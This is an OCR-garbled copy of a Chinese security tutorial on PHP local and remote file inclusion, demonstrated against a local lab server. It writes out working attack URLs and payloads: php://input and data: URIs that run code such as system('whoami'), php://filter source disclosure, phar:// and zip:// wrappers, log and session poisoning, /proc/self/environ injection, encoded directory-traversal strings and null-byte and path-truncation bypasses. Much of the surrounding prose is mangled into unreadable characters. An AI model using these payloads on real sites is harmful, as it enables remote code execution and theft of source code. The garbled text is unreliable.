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¢ include()
¢ include_once()
* require()

® require_once()

reugire() MRERSHERHHH, HWSCHAFES, WEEREY, AHITESIE.

INT ¥ = $ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOC )
4 index.php

= Load URL [ http:y//127.0.0.1:2500fileinclude/index.phpile=notfound
4 sl <?ph
split URL rpnp
» Execute $ 'F i l e

[] Post data [ ] Referrer € OxHEX » | &% | %URL 3

echo

Warning: require(notfound): failed to open stream: No such file 2>

Fatal error: require(): Failed opening required 'notfound' (includ

include() R HHRE, RESRBES, SREPITHESER.

$ GET['file'];
$file;

"after error happen!



https://blog.csdn.net/Fly_hps
https://blog.csdn.net/fly_hps/category_7663313.html
https://blog.csdn.net/fly_hps/category_7663314.html
https://blog.csdn.net/fly_hps/category_7663313.html
https://blog.csdn.net/fly_hps/category_7663314.html
http://www.php.net/manual/en/function.include.php
http://php.net/manual/en/function.include-once.php
http://php.net/manual/en/function.require.php
http://php.net/manual/en/function.require-once.php
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=Fly_hps&utm_content=80926992

"INT ¥ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOC

index.php
@& Load URL http://127.0.0.1:2500/fileincludefindex.php¥ile=notfound
i split URL <?php
] Execute $'File $_GET[ I‘Filel ]_;

[] Post data [ | Referrer 4 OxHEX & %URL X $'File_;
echo "after error happen!”;

Warning: include(notfound): failed to open stream: No such file 2>

Warning: include(): Failed opening 'notfound’ for inclusion (incl
after error happen! d——

require_once() # include_once() Th&Erequire() # include() KL (BRI LA ELT, W require_once()
include_once() MIASHAEE, LUBRRHEE LT EHERESN M.

LA XA R ECR A& SRR, NESXHERAARE (BF. xtEE) , MEREAphpXA#ATHENT . TR
<?php
$file = $_GET['file'];

include $file;
?>

EF B FH Nphpinfoitxt, HHZEN <2 phpinfo(); 2> o TR FEY -

index.php?file=phpinfo.txt

B AT B DI b phpinfo.

@ Load URL [ htipy/127.0.0.1:2500/fileinclude/findex.php?file=phpinfo.txt
¥ split URL

» Execute

OPEN FILES hlg

index.php
% phpinfo.txt
[l Postdata [ ] Referrer ¥ OxHEX ™» &% S%URL ™ &% BASEG4 I

phpinfo.bdt

<? phpinfo(); 2>

FOLDERS
filzinclude

[ index.php

PHP Version 5.4.45 = proiose

| system | Windows NT ASUS-PC 6.3

7B

o BEMRIIXHEERE.
o XHBAERHEPFENSEE, W include $file;.
o WHERBIEHZER, tiNsfile = $ GET['file'];.

7R

LFI(Local File Inclusion)

AR ERA, BB, HMERRITIFHFEE A SRR . KGR T BRI K SO S RIRARZLFL. &5 AR 5l 0
HIFR .

RFI(Remote File Inclusion)



WREXHEERE. RIERBOSITERS S LR XEHEIAT. BT EERES B ERBRITER, HRKA—BEFEEEESR
Ko
{HRFIFIFIFH &N Z, FEphpinif TR E

e allow_url_fopen=0On

e allow_url_include = On

AL EIETH T EANON, FReEEaE ).

@ Load URL [ http:y/127.0.0.1:2500ffileinclude/findex.php?file =http://1- remoteinfo.txt
I split URL

? phpinfo(); ?>
// This is a remote file

b Execute

[ Post data [ Referrer 4@ OxHEX ™ 4% %URL ¥ ¥ BASEGd I ) php.ini - Notepad

P REE BEV #EG EBH
DEad 9 o R s B @ =W e
811
812 ; whether to allow the treatment of URLs (like F
813 ; http://php.net/allow-url-fopen
814 allow_url_fopen = On g

815
. 816 ; Whether to allow include/require to open URLs
System Windows NT ASUS-PC 6.3 § 817 ; http://php.net/allow-url-include
Build Date Sep 2 2015 23:45:20 gig allow_url_include = On
Compiler MSVC9 (Visual C++ 2008) 820 ; Define the anonymous ftp password (your email
P e 821 ; for this is empty.

fEphp.inid, allow_url_fopenBRik—HE&On, Tiallow_url_include \php5.22 J5 5t Bk IN N Off.

BEEY

B A KA

<?php
$file = $_GET['file'];
include $file;

?>

allow_url_fopen BXilN On
allow_url_include B\ N Off

HARRER, SEMMHXEREL,
php s ¥
php://input
H R 2 AF
e allow_url_include = On.

o Stallow_url_fopen K .

5



index.php
?file=php://input

POST:
<? phpinfo();?>

@ LloadURL l""flp’”12?'0j0'1’2500"ﬁ|‘3i”°|“d°ﬁ“de"'php 801 ; Maximum allowed size for uploaded files
g% Split URL Hile=php://input g0z ; http://php.net/upload-max-filesize
V) Execute g0z upload_max_filesize = 2M

504

[ Postdata [ Referrer @ OxHEX 3 &% %URL 3 &% BASEGS 3B |: 505 ; Max‘?mum number of files that can be upT
sosmax_file_uploads = 20

Post data (<2 phpinfo();?= 807

209 ; FoOpen wrappers ;

811
g1z ; whether to allow the treatment of URLs
813 ; http://php.net/allow-url-fopen

s14 allow_ur1_fopen = off

815

g16 ; Whether to allow include/require to opel
817 ; http://php.net/allow-url-include

g18 allow_url_include = on
819 -

820 ; Define the anonymous ftp password (your
sz21; for this is empty.

Svctam Windowe NT ASLIS-PC A 2 hui
php://filter

MMM TH
-3 H

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

Wit RIS, AT I S base64 N E Ja K SCHH IR, 2 JE Fibase6M#RD — T HAT. BANGEEIEIRM B shellF, {HAEERIUE
B faF R FERK .

) Load URL [ hitp://127.0.0.1:2500/Fileinclude/index.php?file=php://filter/read =convert.base64-encode/resource=index.php
0 split URL

b Execute

Insert replacing string Replace All

[[] Postdata [ ] Referrer €% OxHEX 3 @ %URL ¥ @ BASEG4 3B |Jnse."r string to replace]

PD9waHAgDQoJIGZpbGUgPSAKX0dFVFsnZmlsZSddOwOKCWIuY2x1ZGUg)GZpbGU7DQo/Pg==

>>> import base64
>>> base64.b64decode ("PD9waHAgDQoIIGZpbGUEPSAkXOdFVFsnZmlsZSddOwoKCW1luY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $ _GET['file'];\r\n\tinclude $file;\r\n?>"

HAoth 225

index.php?file=php://filter/convert.base64-encode/resource=index.php

BURBRATTH —F, > TreadSRF. ST —Lwaflf MiFHH.
phar://
FIF 2 A

e phpiR4 KT %% Fphp5.3.0



£

REH N phpinfo.txt, FH A& A <php phpinfo(); 2>, FTEMzipESERE, WTF:

&« ~ = - Etestzip File Edit Selection Find View Goto Tools Project Pr
=8 phpinfo.tt

LWIEEER 5 . .

Bl chpinfo.t < php phplnfO( ) 3
BN BR AT

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

HEEAMAN R (X Btestzipf AL EHRT)

index.php?file=phar://test.zip/phpinfo.txt

Load URL [ 127.0.0.1:2500/fileinclude/findex.php?file=phar://test.zip/phpinfo.txt LA =T = filenclude
Split URL xm  HEE  =E EEE
Baeds @ - L v EEEEE » FE (D) » phpStudy » WWW b fileinclude »
[] Post data [ | Referrer 4 OxHEX 4 %URL )
W= index.php
23 PHP M4

o EaRE . phpinfo.txt

€ .

o iR testzip

e 2 4FFE ZIP R

zip://
FIF 25 A
* phpf AKX T4 Fphp5.3.0
3N
Mg zip B M 753 Fphar.
B Azipil, FTEBELEXTBE, R %, Z/FE EERTNKHE.

http://127.0.0.1:2500/fileincludefindex.phpile=zip://D:\phpStudy\WWW\fileinclude\test.zip3%2 3phpinfo.txt

SO AL FEEATEEET R fileinclude

Eanl HE == B
[l Postdata [ | Referrer 4 OxHEX 3% %URLEl

« 4 L » XSEHE » FIE (D) » phpStudy » WWW b fileinclude

I W= index.php
S5 PHP 30#

. EaRE . phpinfo.txt

[

» P JER test.zip

8 17IE ZIP

HRMAMEN R, WetdRkK.

data:URI schema
TR %A



e phphit &K T % T php5.2
e allow_url fopen=0n

e allow_url_include = On

BH—:

index.php?file=data:text/plain,<?php phpinfo();?>

http://127.0.0.1:2500/fileinclude/index.php?file=data:text/plain, < ?php phpinfa();?=

[] Post data [ ] Referrer @ OxHEX ™» &% %URL ¥ % BASEG4 I

System Windows NT ASUS-PC 6.3 bu

Build Date Sep 2 2015 23:45:53

PAT 4

index.php?file=data:text/plain,<?php system('whoami');?>

BH—.

95 gy s 1 yassaan sy

799

go0 ; whether to allow the treatment of urLs (1ike http
go1 ; http://php.net/allow-url-fopen

s0z allow_url_fopen = On Qe

803

a04 ; whether to allow include/require to open URLs (11
gos ; http://php. net/allow-url-include

s06 allow_url_include = on

207 \

go8 ; Define the anonymous ftp password (your email add
go9 ; for this is empty.

810 ; htrp://php.net/from

211 ; from="john@doe. com”

812

813 ; Define the User-Agent string. PHP's default setti
814 ; htrp://php.net/user-agent

815 juser_agent="PHR"

816

index.php?file=data:text/plain;base64,PDO9waHAgcGhwaW5mbygp0z8%2b

NS + Burl4mig A %2b , PDIwaHAgcGhwaWsmbygpOzs+ Fibase 4SS A :

<?php phpinfo();?>

http://127.0.0.1:2500/fileinclude/index.phpile=data:text/plain;baset4, PD9waHAgc GhwaWsmbygpOz8%2b

[ Postdata [ Referrer € OxHEX 3 @ %URL 3 @ BASEG4 I | [nsert string to replace

Replace All 2 | =

Insert replacing string

PAT A2

index.php?file=data:text/plain;base64,PD9waHAgc31zdGVtKCd3aG9hbWknKTs/Pg==

. HF PDowaHAgc31zdGVtKCd3aGohbWknKTs /Pg==H]base64 SIS A: <2php system('whoami');?>

£3,4 session
FIF %M. sessionCHFgFEEH, HEPHNEHSAE,

£ 32 H



phpfsession 34 KR T B 42 W] AZE phpinfofisession.save_path% 2.

TSESSIUTLTETETET _CITETK
session.save_handler files files
session.save_path e Jvar/lib/php/sessions — /var/lib/php/sessions
session.serialize_handler php php

H WK php-sessionfE i fr & -

e /var/lib/php/sess_ PHPSESSID

e /var/lib/php/sess_ PHPSESSID

e /tmp/sess_PHPSESSID

e /tmp/sessions/sess_ PHPSESSID

session ]S 44 1 : A sess_[phpsessid]. Tiphpsessid?E & i% & K icookie B FH AT LAE Fl.

B (450 1)

User-Agent Mozilla/s.0 (Windows NT 6.3; W...) Gecko/20100101 Firefos

Accept: text/html application/xhtml+xm...plication/xml:q=0.9,*/*:q=0.8 POOt@BEE b63de®5Fd: /Va r../ 1i b/ Ph p/ sessions# 1ls
sess_r8dsipnftrmdsj31lcpklgq881b7

Accept-Language: zh-CN,zh;q=0.8en-US5;,q=075en;9=0.3
Accept-Encoding: gzip, deflate = . .
Cookie: PHPSESSID=rBd51pnftrmdsj31cpklq8sib7 <= root@ee5b63dee@5fd:/var/lib/php/sessions#
Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control; max age=0

EAFIHFAEIE, TR D sesssionSXHKIAE . EREABEMAKMNE. FERER, 7S & session3Cff, WA EHEK A
7, WERE RN FBOR KA ENZE, NAHZERE Apayload, 25 BHREE MTHATphpRES.

BEHE

i A &

FFI&M: FEMERSRE 0SS, B SHTE.
3

RZHHE, weblRFSHBEKFEREANBHEXHF, tindiapache. FEH 7 KiRiERK, SK¥iERE Naccesslog, kAR KAL
RE Nerrorlog. BRINEW T, HEMRFEEZELE /var/log/apache2/.

EMREEEAEER, SR —LF WML ESE S TEERET. 7UMEAburpBeFEEX.

GET /<?php phpinfol():?> HTTP/1.1

Hos=

User-riycuce. ... _4/2.0 (Windows NT &.3; WOWed;

rv:55.0) Gecko/20100101 Firefox/55.0

Accept:

text/html, application/xhtml+=zmnl, application/xml;q=0.%,*/
*pg=0.8

Accept-Language: zh-CN,zh;g=0.8,en-U5;g=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Connection: close

Updrade-Insecure-Reguests: 1

EHEKIphpRIBEZLEANT /var/log/apache2/accesslog. SRE#HATEEEIT .,



- [09/0ct/2017:16:42:33 +08008] "GET /%3C?php%20phpinfo();%20?%3E HTTP/1.1" 484 460
6.3; WOW6E4; rv:56.0) Gecko/20100181 Firefox/56.0"

- - [©9/0ct/2017:16:46:19 +0800] "GET /<?php phpinfo();?> HTTP/1.1" 404 460 "-" "Mo
OW64; rv:55.8) Gecko/20100101 Firefox/55.@" - : ]

-G 5d, logfiit RBBSEK . R LB RBUEN N E )G, Biiraes.
XERMf—EEEHEMCTHEE: SHACTF-2017- Bon Appétit (100)-writeup

SSH log

FIR%&M: FEMiEssh-logltrE, B, BRILEH TN /var/log/authlog

Bk,

FHsshig$:

ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

ZESRANMANEILSES, AR
SR JG fEremotehostifissh-log 1 Bl 7] 5 A phpftHS:

Oct 9 18:21:30 localhost sshd[15676]: pam_unix(sshd:auth): authentication failure; logname= uid=8 euid=@ tty=s
sh ruser= rhost=123.207.38.100
Oct 9 18:21:32 localhost sshd[15676]: Failed password for invalid user <?php phpinfo(); ?> from

port 41398 ssh2
Oct 9 18:21:33 localhost sshd[15676]: Connection closed by [preauth]

2R AT SO A B
1,4 environ
P %A

e phpblcgiZr RizfT, Xffenviront &fRFFUAL.
o environ XX FEM#A B S &, Henviron3C 4 A] L.
B,

proc/self/environ & fffFuser-agentsk, @R fEuser-agentd il AphpfRiZ, MphpRiG&#i 5 N Elenvirond, 2 EHEEE, B
wl,

S HERZA:

¢ The proc/self/environ Injection

¢ shell via LFI- proc/self/environ method

a5 fd
R & environZEfl.

2% LFI Cheat Sheet: /proc/self/environ LFI Method

A5 B SCAF


https://chybeta.github.io/2017/08/06/SHACTF-2017-Web-writeup/#Methon-Two
http://websecuritylog.blogspot.jp/2010/06/procselfenviron-injection.html
https://www.exploit-db.com/papers/12886/
https://highon.coffee/blog/lfi-cheat-sheet/#procselffd-lfi-method

HTTP POST with a file arrives

PHP begins analysis

PHP creates temp file

PHP writes data to temp file

PHP closes temp file

script execution begins

[optional] script moves uploaded file
script execution ends

PHP removes temp files (if any)

Y Y YYY Y I LA 4 B

time
time window

phpt A, SEIEIEE . fElinux FEA/tmp B3, TfEwindows T c:\winsdows\temp B 5%, £ TR 2 Bl
) P 3% 4 B AT AL B i S SO

HTEEREMECER XL —FHERITRIIER, linux 6 KBEYLREE B, Twindow T R A 65535 A [F] i S04
£, AR TTERFATH.

5 —F 5% R B & phpinfo T fiphp variables, B DA E BE3REUE] & S0 IE MR E MG S04, BEQEIE, XANHETNUS
% LFI With PHPInfo Assistance

RUA AN SCFRFE, RENEHEEEN, TUEERECTHE: XMANE 4 E-2017-babyweb-writeup
BE LA

PR TEAN, PEESBEE ELKSHEER, MELT. o .

.37 B

FEERS EERES, AT, KET.

HAR

—AwebRF AL LA B LA HAMMS, thinftofRss, BORESE. XL ML EMMK S, EiXHHEEREELR R
M, XEBMARITT

et & B

BT RMPISE LS. FEMBMNBRE EASRER ALK include $_GET[ file' | X EEIEZRMENGETREN . ERZHER
THRE/ AR RN, T X B E T AR EH:

<?php

$file = $_GET['file'];

include '/var/www/html/'.$file."'/test/test.php’;
?>


https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
https://chybeta.github.io/2017/08/22/XMAN%25E5%25A4%258F%25E4%25BB%25A4%25E8%2590%25A5-2017-babyweb-writeup/

XA RUR M B A 5 T 4R 2 B AR SO

15 %€ HI 2K

FHRE—THE THKN B, WA

<?php

$file = $_GET['file'];

include '/var/www/html/'.$file;
?>

H % P
EAREAT, MEMR—F.

BUAERE /var/log/testtxt U phpARES <2php phpinfo();2>, WIFIA ../ AT LAEAT B @M, HamBAT=AY -

include.php?file=../../log/test.txt

T R 55 8 3 SE B B 2 SR BB 42 90 /var/www/html/././log/test.ixt, B[l /var/log/testitxt. ML & K.

@ Load URL
root@@e5b63ded5fd: /var/www/html# cat /var/log/test.txt JEEETINE
<? p h p 3 Execute

phpinfo();

finclude.phpile=.././log/testxt

[] Post data [ ] Referrer 4 OxHEX ™» % %URL

?>
root@@e5b63de@5fd: /var/www/html# ||

‘ PHP Version 7.0.15-Oubuntu0.16.04

Yuhg Geit
RSB EE ST . S Mg, WU —SRDRHITaE . THXEEERE (AR TFHEWebZAE) .
o FIHurl4mig
o ./

o %2e%2e%2f
o %2f

o %2e%2e/

® %2e%2e%5c
® .%5c

o %2e%2e\

® %252e%252e%252f

e .\
® %252e%252e%255¢



o AA/MREBHIGRIG TR
o ./
o %c0%af

e 7¥: Why does Directory traversal attack %CO%AF work?

o %c0%ae%c0%ae/
o JE: javath &I %c0%ae"f#HT A" \UCOAE", BJa#E CAASCCIERFH"." (&)

e Apache Tomcat Directory Traversal

e .\

® . %cl%9c

R EER
BEFZRBRERRNBERL. XA
<?php
$file = $_GET['file'];

include $file.'/test/test.php’;
?>

URL

url#g =X

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

EmFE SO AR (RFD 1, BT BRI A queryBifragmentk&eid f5 4 PR 1 .

LH—: query (?)

index.php?file=http://remoteaddr/remoteinfo.txt?

MAERCHA http://remoteaddr/remoteinfo.txt?/test/test.php
175 5 TH P 2B 40 /test/test.php » m%%#&%%%%ﬁéﬁ’ﬁquery};&ﬂﬁ&%ﬁo

AL [127.0.0.1:2500/fileinclude/index.php?file=http:// fremoteinfo.txt?
L root@vmM-287-93-ubuntu: /var/www/html# cat remoteinfo.txt
z <?php phpinfo(); ?>

[l Postdata [ | Referrer ¥ OxHEX ¥» &% %URL 3 &% BASEG // This iS a remote -File
root@M-287-93-ubuntu: /var/www/html#

BH =, fragment (#)

index.php?file=http://remoteaddr/remoteinfo.txt%23

MAEHISCHA http://remoteaddr/remoteinfo.txt#/test/test.php
S G KIS /test/test.php , WELRIEE K G EHE L Efragment ATt . FERTEIL # #TurlZmiN %23


https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work
http://remoteaddr/remoteinfo.txt?/test/test.php
http://remoteaddr/remoteinfo.txt#/test/test.php

127.0.0.1:2500/fileinclude/findex.php?ile=http://123.207.38.100/remoteinfo.bet3%23 r'oot@}VM -287-93-ubuntu: /Va r'/WWW/ html# cat remoteinfo.txt
<?php phpinfo(); ?>
// This is a remote file

B N e R e e i Ll ro0t@VM-287-93-ubuntu: /var/www/html#

A 3
R 4R B0 A Fzip b SR phar b L. BRBLAEIRARED A -

<?php

$file = $ _GET['file'];

include $file.'/test/test.php’;
?>

g RN T

<« - # = v | chybetazip\chybeta\test

=4 Fh FEEEE)
LW EEER)
Bltest.php [ TKB . - 1TKE
Hrtestphp WA N:

<?php phpinfo(); ?>

MAzipWil, ERERELEN B

index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta

MPEEN: zip://D:\phpStudy\WWWA\fileinclude\chybeta.zip#chybeta/test/test.php
http://127.0.0.1:2500/fileinclude/index.php file=zip:// DA\ phpStudy\ WWWAfileinclude\chybeta.zip%23chybeta

n chybeta.zip - 23455FF

[] Postdata [ | Referrer 4™ OxHEX ™ 4% %URL ™

=
Etestphp

eI B A

FEF F pharth IR 2210 . BRAr BT #— T ?

@ Load URL [ http://127.0.0.1:2500fileinclude/index.php?file=phar://chybetazip/chybeta
% split URL

b} Execute

[ Postdata []Referrer € OxHEX 3 &% %URL 3 @ BASE64 I | [nsert string to replace

Insert replacing ;:--.-‘.-:g| Replace All 3 | =,

Warning: include(phar://chybeta.zip/chybeta/test/test.php) [function.include]: failed to open stream: phar error:
Cannot open temporary file for decompressing phar archive "D:/phpStudy/WWW/fileinclude/chybeta.zip" file
"chybeta/test/test.php” in D:\phpStudy\WWW\fileinclude\index.php on line 3



K BB W
FIF%AF: phphiA < php 5.2.8

HR{FRE, 7Elinux 4096 F it &k Bl K1E, fEwindow F2&256F . RERMMWES ./

index.php?file=././././0 o - %&B&. o o ././shell.txt

M J5 4% /test/test.php, TERBIRAEESWEZEEFTH.

075 &
FIFH%M: phph4s < php 5.3.4

index.php?file=phpinfo.txt%00

v = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS-

<?php
$file = $ GET['file'];
$file. ' /test/test.php’;

L {1 27.0.0.1:2500/fileincludefindex.php?file=phpinfo.tt %00
IL

?
[l Post data [ | Referrer 4 OxHEX & %URL - 7o

‘PHP Version 5.2.17

BRI OO 035 RIVE LR T« )
DIECNIES
o WREGRPHEELE SwebHRLIMOLH, nfphpBEE T open_basedir, M&AHKIK

o fHUE ST IR B
o MBI T AHTIEIEEE
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